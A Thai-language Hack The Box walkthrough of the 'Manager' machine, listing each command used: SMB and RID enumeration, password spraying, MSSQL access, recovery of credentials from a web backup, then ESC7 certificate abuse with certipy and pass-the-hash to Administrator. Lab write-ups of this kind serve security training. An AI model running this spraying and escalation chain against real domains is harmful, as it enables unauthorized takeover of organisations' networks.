Manager-Walkthrough (Hack the Box)

Datafarm
5 min readApr 3, 2024

--

สวัสดีครับคุณผู้อ่านทุกท่าน ช่วงวันหยุดยาวใกล้เข้ามาทุกที หากใครยังไม่มีแพลนไปไหน วันนี้ผมจะมาพาทำแล็บ Hack The Box Machine ชื่อว่า “Manager” ซึ่งความยากจะอยู่ที่ระดับ Medium ครับ

และเพื่อไม่ให้เป็นการเสียเวลา เราไปเริ่มกันเลยยยย!!!

หน้าตาเครื่อง

Skill Requirements

  • Windows Fundamentals
  • SMB Enumeration

Skills learned

  • AD CS enumeration
  • ESC7 exploitation

Nmap Scan Port and Service

ในขั้นแรก เริ่มจาก Join Machine แล้วเราจะได้ IP มา จากนั้นจะใช้เครื่องมือ Nmap ในการค้นหาว่าตัว Target หรือเป้าหมายมีการเปิด Port อะไรบ้าง และมี Service อะไรบ้าง โดยใช้คำสั่ง

nmap -p- — min-rate=1000 -sV 10.10.11.236

เราได้ข้อมูลมาว่าตัว Target นั้นมี Domain name ชื่อว่า “manager.htb” ให้เราเพิ่ม Domain name ลงใน “/etc/hosts” เพื่อทำการ Map host โดยใช้คำสั่ง

echo “10.10.11.236 manager.htb” | sudo tee -a /etc/hosts

จากผลลัพธ์ที่เราได้นั้น จะมีการเปิด Port ที่เยอะมาก!!! แต่เราจะโฟกัสไปที่ Port 135, 139, 445 ก่อนเป็นอันดับแรก เพราะว่าคือ Service SMB File Share ที่เราอาจเข้าได้โดยที่ไม่ต้องใช้ Credential โดยใช้คำสั่ง

smbclient -L \\\\10.10.11.236\\ -N

จากผลลัพธ์ที่ได้ ไม่มีไฟล์ หรือโฟลเดอร์ไหนที่น่าสนใจในผลที่ได้มา แต่จากการที่เราสามารถเข้าได้โดยที่ไม่มี Username Password ในการเข้า “smb” ให้เราสันนิษฐานได้เลยว่าเราอาจจะสามารถใช้ทำ RID cycling และ List รายชื่อผู้ใช้บนเซิร์ฟเวอร์ได้ โดยที่เราจะใช้โมดูล “lookupsid” ของไลบรารี “Impacket” เพื่อทำ RID cycling โดยใช้คำสั่ง

impacket-lookupsid anonymous@manager.htb -no-pass

หลังจากที่เราได้ผลลัพธ์ออกมาแล้ว เราจะได้ User มาหลายคน ให้เราทำออกมาเป็น List เป็นไฟล์ .txt

จากนั้นเราจะ Spray ข้อมูลที่เราได้มา ซึ่งเป็นเรื่องปกติที่ผู้ใช้อาจจะตั้งรหัสผ่านให้เหมือนกับชื่อผู้ใช้ เราจะใช้เครื่องมือ “crackmapexec” โหมด “smb” และไม่มีการ “Bruteforce Password” โดยใช้คำสั่ง

crackmapexec smb 10.10.11.236 -u users.txt -p users.txt –no-bruteforce

จากข้อมูลที่เราได้จากตอน Nmap จะมี “Service MSSQL” เปิดอยู่ เราจะใช้ข้อมูล User ที่เราเพิ่งจะได้มาเข้าใช้งาน Service ผ่านโมดูล “mssqlclient” ของไลบรารี “Impacket” โดยใช้คำสั่ง

impacket-mssqlclient manager/operator:operator@manager.htb -windows-auth

หลังจากที่เราเข้ามาได้แล้ว เราสามารถใช้คำสั่ง “xp_dirtree” เพื่อแสดงไฟล์ และโฟลเดอร์ได้ เราจะเข้าไปหาทีละโฟลเดอร์ และเราก็จะเจอไฟล์ที่น่าสนใจที่ Path “\inetpub\wwwroot” คือไฟล์ “website-backup-27–07–23-old.zip” โดยใช้คำสั่ง

xp_dirtree \inetpub\wwwroot

เราจะทำการโหลดไฟล์ โดยใช้ “wget” ไปที่ไฟล์ที่เราเจอ ซึ่งเราจะรู้ได้ยังไงว่าเราต้องไปโหลดที่ไหน ให้เราจำไว้เลยว่าหากเจอ Path “\wwwroot” ให้สันนิฐานได้เลยว่านี้อาจะเป็น “Root Path” ของตัวเว็บที่เราเข้าถึงได้อยู่ โดยใช้คำสั่ง

wget http://10.10.11.236/website-backup-27-07-23-old.zip

จากนั้นให้เราคำสั่ง “unzip” ไฟล์ออกมาเป็นโฟลเดอร์ โดยใช้คำสั่ง

unzip website-backup-27–07–23-old.zip -d website

ให้เราเข้าไปโฟลเดอร์ที่เราแตกไฟล์มา แล้วเราจะเห็นไฟล์ที่น่าสนใจชื่อ “.old-conf.xml”

ใช้คำสั่ง “cat” ซึ่งเป็นคำสั่งพื้นฐานของ kali ในการโชว์ข้อมูลออกมาที่เหมือนกับของ Windows คือคำสั่ง “type”

cat .old-conf.xml

จากข้อมูล Credential ที่เราได้มา ลองเข้าผ่าน “Service Winrm” Port 5985 ด้วยเครื่องมือ “evil-winrm” หลังจากที่เราสามารถเข้าเครื่องได้แล้วเราจะสามารถหา flag “local.txt” ได้ที่ Path “C:\Users\Raven\Desktop” ใช้คำสั่ง “cat” โชว์ข้อมูลออกมา และนำไป Submit ที่ “Submit User Flag” โดยใช้คำสั่ง

evil-winrm -I manager.htb -u raven -p ‘R4v3nBe5tD3veloP3r!123’

เราจะใช้เครื่องมือ “certipy” เพื่อค้นหาช่องโหว่ที่อาจเกิดขึ้น เราจะพยายามหาช่องโหว่ที่อาจเกิดขึ้นกับ Certification Authority ในระบบ โดยใช้คำสั่ง

certipy-ad find -u raven -p ‘R4v3nBe5tD3veloP3r!123’ -dc-ip 10.10.11.236 -stdout -vulnerable

จากผลที่ได้ระบุว่าผู้ใช้ Raven มีสิทธิ์ที่เป็นอันตรายเป็นอย่างยิ่ง ซึ่งการมีสิทธิ์ “ManageCA” เหนือกว่า (Certification Authority) ผู้ออกใบรับรอง นี่หมายความว่าด้วยการใช้ประโยชน์จากสถานการณ์ ESC7 เราอาจยกระดับสิทธิ์ของเราเป็นผู้ดูแลระบบโดเมนในขณะที่ดำเนินการในฐานะผู้ใช้ Raven สามารถดูคำอธิบายโดยละเอียดเกี่ยวกับวิธีการโจมตีสำหรับช่องโหว่ “ESC7” ได้จากลิงก์ด้านล่าง

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#vulnerable-certificate-authority-access-control-esc7

โดยเริ่มต้นเราจะต้องเพิ่มสิทธิ์ผู้ใช้งาน Raven เป็น “officer” ก่อนเพื่อให้เราสามารถจัดการใบรับรอง (Certificates) และออกใบรับรอง (Certificates) ได้ด้วยตนเอง โดยใช้คำสั่ง

certipy-ad ca -u raven@manager.htb -p ‘R4v3nBe5tD3veloP3r!123’ -dc-ip 10.10.11.236 -ca manager-dc01-ca -add-officer raven -debug

ตอนนี้ที่เรามีสิทธิ์เป็น “officer” แล้วเราสามารถออกและจัดการใบรับรองได้ เราจะใช้ template “SubCA” สามารถเปิดใช้งานบน CA ได้ด้วยการใช้ “-enable-template subca” โดยใช้คำสั่ง

certipy-ad ca -u raven@manager.htb -p ‘R4v3nBe5tD3veloP3r!123’ -dc-ip 10.10.11.236 -ca manager-dc01-ca -enable-template subca

จากนั้นเราสามารถใช้ “-list-templates” เพื่อแสดงข้อมูลออกมาให้เราได้เห็น โดยใช้คำสั่ง

certipy-ad ca -u raven@manager.htb -p ‘R4v3nBe5tD3veloP3r!123’ -dc-ip 10.10.11.236 -ca manager-dc01-ca -list-templates

เงื่อนไขพื้นฐานสำหรับการโจมตีได้ของเราเรียบร้อยแล้ว โดยเรามีสิทธิ์ในการจัดการใบรับรอง ที่ได้รับผ่านทาง “ManageCA” และได้ตรวจสอบแล้วว่า template “SubCA” ได้เปิดใช้งานแล้ว เราจะขอใบรับรองโดยใช้ template “SubCA” ในคำขอนี้จะถูกปฏิเสธ แต่เราจะได้รับรหัสคำขอ (Request ID) และ “Private Key” ซึ่งเราจะบันทึกลงในไฟล์ โดยใช้คำสั่ง

certipy-ad req -u raven@manager.htb -p ‘R4v3nBe5tD3veloP3r!123’ -dc-ip 10.10.11.236 -ca manager-dc01-ca -template SubCA -upn administrator@manager.htb

เราสังเกตว่ารหัสคำขอใบรับรองคือ 13 ตอนนี้เราจะใช้สิทธิ์ที่เราได้รับมาให้ออกใบรับรองที่ล้มเหลวด้วยคำสั่ง “ca” และพารามิเตอร์ “-issue-request <รหัสคำขอ>” โดยใช้คำสั่ง

certipy-ad ca -u raven@manager.htb -p ‘R4v3nBe5tD3veloP3r!123’ -dc-ip 10.10.11.236 -ca manager-dc01-ca -issue-request 13

ในที่สุดเราจะดึงใบรับรองที่ออกมาด้วยคำสั่ง “req” และพารามิเตอร์ “-retrieve <รหัสคำขอ>” โดยใช้คำสั่ง

certipy-ad req -u raven@manager.htb -p ‘R4v3nBe5tD3veloP3r!123’ -dc-ip 10.10.11.236 -ca manager-dc01-ca -retrieve 13

เมื่อมีไฟล์ “PFX” ของ “administrator” มาแล้ว เราสามารถใช้มันสำหรับการตรวจสอบสิทธิ์ได้ แต่เมื่อเราใช้คำสั่ง “auth” เราพบข้อผิดพลาด “KRB_AP_ERR_SKEW (Clock skew too great)” ซึ่งหมายความว่ามีความความแตกต่างของเวลาที่มากเกินไป โดยใช้คำสั่ง

certipy-ad auth -pfx administrator.pfx

ข้อผิดพลาด “KRB_AP_ERR_SKEW” เกิดขึ้นเมื่อมีความแตกต่างเวลาสำคัญระหว่างเครื่องลูกข่ายและเซิร์ฟเวอร์ “KDC” ทำให้กระบวนการตรวจสอบสิทธิ “Kerberos” ได้รับผลกระทบ การแก้ไขปัญหานี้เกี่ยวข้องกับการปรับเวลาของเครื่องเราให้สอดคล้องกับเซิร์ฟเวอร์ เพื่อทำเช่นนั้น เราจำเป็นต้องปิดการตั้งค่า “Automatic Date & Time” ในการตั้งค่าเครื่องของเราและเรียกใช้คำสั่งต่อไปนี้เพื่อปรับเวลาเครื่องของเรา โดยใช้คำสั่ง

sudo ntpdate -s manager.htb

จากนั้นเราจะใช้คำสั่ง “certipy-ad auth -pfx administrator.pfx” อีกครั้ง เพื่อที่จะให้ระบบทำการสร้าง “hash” ของ “administrator” ออกมา โดยใช้คำสั่ง

certipy-ad auth -pfx administrator.pfx

เราใช้ hash ของ administrator เพื่อเข้าถึงโดยใช้เครื่องมือ “evil-winrm” และเรียกดึงไฟล์ “root flag” จากระบบ โดยใช้คำสั่ง

evil-winrm -i manager.htb -u administrator -H ae5064c2f62317332c88629e025924ef

หลังจากที่เราเข้าเครื่องได้แล้ว เราจะนำไป Submit ที่ “Submit Root Flag” เป็นอันเรียบร้อยยย!!!

--

--